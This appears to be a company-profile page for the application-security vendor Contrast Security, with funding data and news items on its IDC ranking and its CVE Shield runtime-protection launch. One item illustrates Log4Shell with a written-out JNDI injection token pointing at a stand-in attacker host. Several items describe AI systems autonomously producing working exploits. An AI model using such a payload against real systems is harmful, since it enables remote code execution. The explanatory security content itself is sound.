C

Contrast Security

Real-time app security testing for developers

Overview

Contrast Security provides a cloud-based security platform for application developers that helps identify and fix security risks in real time as software is being written. Its SaaS platform combines Static Application Security Testing (SAST) and Interactive Application Security Testing (IAST) to detect vulnerabilities in code and during execution, enabling faster, more accurate risk detection. It also offers visibility into serverless architectures and protection against zero-day threats. The service is designed to be used by developers to secure code earlier in the development process, improving application security while accelerating release cycles. Unlike other security tools that operate later in the lifecycle, Contrast integrates security into development, aiming to increase developer productivity, reduce total cost of ownership, and deliver a return on investment within about five months.

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About Contrast Security

Simplify's Rating
Why Contrast Security is rated
B-
Rated B on Competitive Edge
Rated B on Growth Potential
Rated C on Differentiation

Industries

Enterprise SoftwareCybersecurity

Company Size

51-200

Company Stage

Series E

Total Funding

$269M

Headquarters

Pleasanton, CA

Founded

2014

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What believers are saying

  • July 29, 2026 CVE Shield targets AI-generated exploits before permanent patches land.
  • April 22 and February 17 integrations with Google SecOps and ServiceNow widen workflow reach.
  • October 2026 IDC leader recognition supports sales against scanning-first competitors.

What critics are saying

  • No funding arrived after November 2021; Contrast still depends on operating cash and sales.
  • Employee count fell to 176 by October 2026, signaling pressure before 2027 planning.
  • If AI-native security suites absorb runtime detection, Contrast becomes a feature, not a company.

What makes Contrast Security unique

  • Contrast Security embeds runtime instrumentation inside applications, not perimeter scanners, for verified exploit evidence.
  • CVE Shield microsandboxes 60 critical Java CVEs, including Log4Shell, with 12-nanosecond overhead.
  • IDC named Contrast a 2026 DAST Leader, validating runtime security's market position.

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Funding

Total Funding

$269M

Meets

Industry Average

Funded Over

5 Rounds

Series E funding typically includes additional rounds after Series D if the company needs more capital. The business is usually stable, and these rounds are typically used for further expansion or to address market challenges.
Series E Funding Comparison
Above Average

Industry standards

$100M
$245M
$250M
$1.3B
$1.5B

Benefits

  • Competitive compensation
  • Medical, dental, and vision benefits
  • 401(k)
  • Flexible paid time off

Growth & Insights and Company News

6 month growth

1%

1 year growth

1%

2 year growth

4%
TechDay
Oct 22nd, 2026
Contrast Security named leader in IDC DAST assessment.

Contrast Security named leader in IDC DAST assessment. Fri, 23rd Oct 2026 (Yesterday) Contrast Security has been named a Leader in the IDC MarketScape assessment for Worldwide Dynamic Application Security Testing, which evaluated 16 vendors. The recognition places the application security company among the leading suppliers in a market that has moved beyond traditional external scanning tools. Dynamic Application Security Testing, or DAST, has expanded into runtime testing as software teams seek more direct evidence of exploitable weaknesses in applications and APIs. Contrast said its approach differs from conventional DAST products by placing sensors inside running applications. The sensors track how data moves through code during execution, giving teams visibility into vulnerabilities that external testing tools may miss. Those same sensors can also operate across development, staging and production environments. This allows security teams to keep monitoring live applications while developers work on fixes, rather than relying solely on scheduled scans. Market shift The assessment comes as artificial intelligence changes how security testing is carried out. In the DAST market, AI-driven tools are increasingly used to probe applications from the outside and adapt tests based on how applications and APIs respond. Against that backdrop, suppliers are trying to show that their products can reduce false positives, provide clearer proof of exploitability and work at scale across large software estates. Contrast argued that its internal runtime view addresses several long-standing complaints about traditional DAST, including limited application context and noisy results. Contrast said its platform can identify vulnerabilities including weak cryptography, blind injection and server-side request forgery. It added that the system can detect vulnerabilities in open-source libraries and determine whether the vulnerable code is in use, reachable and exploitable. According to the company, the platform provides detailed findings, including data flow information, stack traces and affected lines of code. It added that the technology can test large numbers of applications and APIs in parallel. Company view Jeff Williams commented on the ranking and the direction of the market. "We believe being named a Leader reflects our strengths in bringing together Dev, AppSec and SecOps to give them a shared view of what is happening inside their applications," said Jeff Williams, Founder and CTO, Contrast Security. Williams also linked the company's position to changes in software development and security operations. "As AI reshapes how software gets built, DAST is mission-critical for stopping threats before they spread. Contrast's revolutionary DAST technology can test all your applications, APIs and libraries in parallel without disruption. Your development teams get fully tested patches, not research projects. And if you have vulnerabilities in production, Contrast provides visibility and protection to keep you safe," said Williams. Broader context IDC MarketScape assessments are used in the technology sector as comparative studies of suppliers within a given market. The model combines qualitative and quantitative criteria to position companies against one another, giving technology buyers a view of relative strengths and weaknesses. For Contrast, the placement is likely to strengthen its pitch in a crowded application security market, where vendors are trying to differentiate themselves as software environments grow more complex. Security teams are under pressure to find flaws earlier in development, reduce alert fatigue and maintain protection once applications move into production. Contrast said its production deployment can also detect and block attacks targeting a known vulnerability while a fix is under way. This gives organisations a compensating control during remediation, which the company said DAST tools alone do not provide. Contrast focuses on application detection and response, as well as runtime security for applications and APIs. Its products are aimed at developers, application security teams and security operations teams that need a shared view of threats inside running software. The latest ranking underlines how DAST vendors are repositioning their products around continuous testing, runtime evidence and closer alignment between development and security teams in modern software delivery environments.

Contrast Security
Oct 7th, 2026
Contrast Security named a Leader in IDC MarketScape: Worldwide Dynamic Application Security Testing 2026 Vendor Assessment.

Contrast Security named a Leader in IDC MarketScape: Worldwide Dynamic Application Security Testing 2026 Vendor Assessment. Pleasanton, CA - October 7, 2026 - Contrast Security, the leader in runtime application security, today announced the company has been recognized as a Leader in the IDC MarketScape: Worldwide Dynamic Application Security Testing 2026 Vendor Assessment (#US54119126, September 2026). This IDC MarketScape study evaluated 16 vendors in the worldwide Dynamic Application Security Testing (DAST) market. DAST has evolved from a slow, rule-based scanning tool into a broader runtime testing platform. AI is now shaping the category further, with agentic tools that probe applications from the outside and adapt their next test based on how apps and APIs respond. Contrast's revolutionary approach adds sensors that observe running code from within, tracking how real data moves through the code as it executes. That inside view gives Contrast broader coverage than external tools can reach, direct proof of exploitability instead of inference, and continuous testing from development through production without fuzzing, credentials or configuration. "We believe being named a Leader reflects our strengths in bringing together Dev, AppSec and SecOps to give them a shared view of what is happening inside their applications," said Jeff Williams, Founder and CTO at Contrast Security. "As AI reshapes how software gets built, DAST is mission-critical for stopping threats before they spread. Contrast's revolutionary DAST technology can test all your applications, APIs and libraries in parallel without disruption. Your development teams get fully tested patches, not research projects. And if you have vulnerabilities in production, Contrast provides visibility and protection to keep you safe." Traditional DAST tools work without application context, generate false positives and miss many real vulnerabilities. Contrast Security closes those gaps with threat sensors embedded in running applications and APIs, eliminating false positives from development through production. Because those same sensors also run in production, Contrast can also detect and block attacks on a vulnerability while it's being fixed, a compensating control that DAST alone doesn't provide. Key benefits include: * Accurate detection: Reliably surfaces real vulnerabilities rather than guesses. * Controlled false positives: Keeps noise low so teams focus on genuine issues. * Broad rule coverage: Easily detects hidden vulnerabilities like weak cryptography, blind injection and SSRF. * Detailed findings: Include actual data flow details, stack traces and affected lines of code. * Library CVEs: Detects CVEs and unknown vulnerabilities in open-source libraries and whether the vulnerable part of the library is actually being used, is reachable and exploitable. * Massively scalable: Contrast is a distributed technology that can continuously test tens of thousands of applications and APIs in parallel. * Always-on coverage: Runs continuously in development, staging and production, closing the gaps a scheduled scan window leaves open. * AI remediation grounded in runtime evidence: Generates fixes based on the application's actual runtime behavior, not a generic suggestion. About IDC MarketScape. IDC MarketScape vendor assessment model is designed to provide an overview of the competitive fitness of technology and service suppliers in a given market. The research utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each supplier's position within a given market. IDC MarketScape provides a clear framework in which the product and service offerings, capabilities and strategies, and current and future market success factors of technology suppliers can be meaningfully compared. The framework also provides technology buyers with a 360-degree assessment of the strengths and weaknesses of current and prospective suppliers. About Contrast Security. Contrast Security is the global leader in Application Detection and Response (ADR), empowering organizations to see and stop attacks on applications and APIs in real time. Contrast embeds patented threat sensors directly into the software, delivering unmatched visibility and protection. With continuous defense, Contrast uncovers hidden application-layer risks that traditional solutions miss. Contrast's powerful Runtime Security technology equips developers, AppSec teams and SecOps with one platform that proactively protects and defends applications and APIs against evolving threats.

Associated Press
Jul 29th, 2026
Contrast Security launches CVE Shield to block AI-generated exploits in real time

Contrast Security has launched CVE Shield to protect applications from AI-generated exploits targeting known vulnerabilities. The tool operates inside running applications, detecting and blocking malicious function calls whilst allowing legitimate operations to continue. CVE Shield uses runtime microsandboxing to provide immediate protection while security teams deploy permanent fixes. It blocks exploit capabilities rather than relying on payload signatures, meaning new variations hit the same protected boundary without requiring updates. The launch responds to advances in AI systems like Claude Mythos, which can autonomously create working exploits from public CVE identifiers within a day. Contrast's founder Jeff Williams noted traditional patch cycles cannot keep pace with AI-generated threats. Initially covering 60 critical Java vulnerabilities including Log4Shell, CVE Shield will be available from 3 August 2026 with a free tier. Support for additional languages is planned for later in 2026.

Digital IT News
Jul 29th, 2026
Contrast Security CVE Shield blocks ai-driven vulnerability exploits.

Contrast Security CVE Shield blocks ai-driven vulnerability exploits. Contrast Security has introduced CVE Shield, a solution designed to combat the rise of AI-generated exploits enabled by advanced AI models such as Claude Mythos. Operating within live applications, CVE Shield identifies, tracks, and blocks attempts to exploit known vulnerabilities while allowing legitimate library functions to continue running. The solution provides security teams with actionable insights into existing vulnerabilities, active threats, attack attempts, and protected assets. Security Products & Services Using a runtime microsandbox for each supported CVE, CVE Shield is a compensating control that gives organizations immediate protection while they test and deploy the permanent fix. In April 2026, Anthropic reported that its Claude Mythos Preview research system could take a public CVE identifier and the corresponding Git commit and autonomously produce a working exploit inexpensively within a day. Within five weeks, OpenAI and Microsoft disclosed comparable vulnerability research systems. "Organizations are standing up Mythos Task Forces because traditional patch cycles cannot keep pace with AI-generated exploits," said Jeff Williams, Founder of Contrast Security and creator of the OWASP Top 10. "We created CVE Shield to give them immediate protection and buy security teams time between CVE disclosure and patch deployment. Legacy applications, vendor dependencies and frozen release windows no longer have to mean open exposure." Built for AI-speed exploitation. Traditional CVE management identifies the 5% of CVEs that actually matter in production and creates a remediation ticket. Teams still have to determine whether the vulnerable code is actually running, reachable, exploitable, and connected to a sensitive asset - and then protect the application while they test and deploy an update. Machine Learning & Artificial Intelligence CVE Shield adds runtime protection while teams patch. Instead of trying to recognize every malicious payload, it blocks the capabilities an exploit must use to succeed, such as native code execution, remote class loading, and arbitrary file writes. Because CVE Shield controls behavior rather than relying on payload signatures, new variations of a supported exploit hit the same protected boundary. No new signature is required. Even when an attacker reaches vulnerable code with a working exploit, CVE Shield can stop the exploit from completing its intended action. "Developers and security teams have long struggled to prioritize CVEs because traditional tools focus on vulnerable versions rather than real execution. Capabilities that connect CVE identification with runtime reachability and active protection represent an important step toward more operationally relevant application security." -Katie Norton, IDC Analyst The Log4Shell example. Let's use Log4Shell as an example, because it is the most widely known CVE. Log4Shell, tracked as CVE-2021-44228, is exploited by an attacker slipping a token like ${jndi:ldap://attacker.example/x} into request data that gets logged by an application or API, which triggers an outbound lookup that loads and runs attacker-controlled code. CVE Shield wraps the vulnerable Log4j methods, so normal logging continues while the capabilities the exploit needs, the outbound JNDI lookup, remote class loading and process execution, are denied. The lookup never reaches the attacker's server and the malicious class never loads. The vulnerable component keeps working. The exploit does not. Engineered for production. CVE Shield is installed on your workloads with a single command and immediately begins identifying and protecting against CVE exploit attempts. It requires no additional appliance, proxy or sidecar. CVE Shield is designed for maximum performance. There is no impact unless a CVE is exploited, and exploit prevention adds only 12 nanoseconds, making CVE Shield's performance impact almost immeasurable. It can be easily installed on a single host or across a large, diverse infrastructure. Once the application starts, CVE Shield inventories its libraries and activates shields for vulnerable versions that match. The Contrast Agent Operator automates deployment across Kubernetes and OpenShift workloads without per-service code or Dockerfile changes. CVE Shield also replaces vulnerability assumptions with runtime evidence. It shows security teams which vulnerable libraries are present, which vulnerable code paths are being exercised and when exploitation is attempted. Security Products & Services Teams can focus remediation efforts on real application risk rather than treating every entry in the backlog as equally urgent. Contrast provides dynamic risk scores for CVEs based on architectural, threat, and business context from production environments. Availability CVE Shield is part of Contrast Application Detection and Response. Its initial rollout brings localized CVE sandboxing to 60 critical Java vulnerabilities, including Log4Shell, Spring4Shell and Apache Commons Collections deserialization vulnerabilities. Contrast will expand coverage to additional high- and critical-severity CVEs, with new protections delivered continuously as vulnerabilities emerge. Support for Go, Node.js, .NET and Python is planned for the second half of 2026. CVE Shield will be available on August 3, 2026, with a free tier, enabling AppSec teams to deploy to Java applications within minutes and gain immediate runtime visibility into active, supported CVEs.

Blue Mountain Eagle
Apr 29th, 2026
ControlUp appoints marketing and AI visionary Tim Freestone as Board Advisor.

ControlUp appoints marketing and AI visionary Tim Freestone as Board Advisor. GlobeNewswire | ControlUp Today at 6:02am PDT SAN FRANCISCO, April 29, 2026 (GLOBE NEWSWIRE) - ControlUp, the pioneer of Autonomous Endpoint Management (AEM) which leverages agentic AI to allow digital workspaces to run themselves, today announced the appointment of technology marketing visionary Tim Freestone as an Advisor to the Board. Freestone brings more than 20 years of experience in corporate strategy and marketing leadership, with deep expertise in scaling high-growth technology organizations and driving go-to-market (GTM) excellence. The appointment follows ControlUp's recent milestone of surpassing $100 million in annual recurring revenue (ARR). This growth marks the company's strategic evolution from a category leader in Digital Employee Experience (DEX) to a pioneer in AEM, leveraging agentic AI to redefine modern workspace management through fewer tools, fewer trouble tickets, and less human troubleshooting. "I have had the pleasure of working with Tim over the past two decades. He is a bold and brilliant mind. His real-world experience building and optimizing global marketing and strategy functions through the use of AI at leading enterprise technology companies makes him an invaluable addition to our advisory bench," said Jed Ayres, CEO of ControlUp. "As we lead the shift from DEX to AEM, Tim's perspective will help sharpen our GTM strategy, strengthen our positioning, and accelerate our next phase of growth." "ControlUp is at a pivotal moment as it leads the IT shift from reactive to autonomous management," said Freestone. "I am excited to work with Jed and the leadership team to help scale the impact of AEM and solidify ControlUp's position as the definitive market leader in this new groundbreaking category." Freestone currently serves as Chief Strategy Officer at Kiteworks, where he leads corporate strategy initiatives following his tenure as Chief Marketing Officer since joining the company in 2021. Across his career, he has built and scaled marketing organizations, modernized go-to-market execution, and elevated brand positioning for enterprise technology companies. Freestone is a frequent presenter at AI and Security industry conferences, where he is recognized for his innovative approach to how sales, marketing, and product teams can leverage AI to optimize the GTM strategy for SaaS solutions. Prior to Kiteworks, Freestone was Vice President of Marketing at Contrast Security, where he built out the company's global marketing organization and helped elevate its brand into a recognized leader in application security. Earlier, as Vice President of Corporate Marketing at Fortinet, he led a comprehensive rebranding effort and developed go-to-market operations for multiple solution portfolios encompassing more than 30 products. He also held leadership roles at NetApp, where he drove demand strategy and operational optimization across the Americas, and co-founded a marketing services agency delivering programs for technology companies of all sizes. About ControlUp ControlUp is defining the next chapter in modern workspace management with Autonomous Endpoint Management (AEM). By unifying Digital Employee Experience (DEX) and IT operations with agentic AI, ControlUp moves organizations beyond the limitations of reactive troubleshooting toward a self-healing environment that operates more autonomously at scale. The platform integrates real-time signals with AI-driven decisioning and automated remediation to resolve issues before they impact employees, reduce operational complexity, and consolidate fragmented toolsets. Organizations advance to a state where IT works smarter, employees stay productive, and the digital workspace runs itself. Learn more at www.controlup.com. This is a paid placement. For further inquiries, please contact GlobeNewswire directly.

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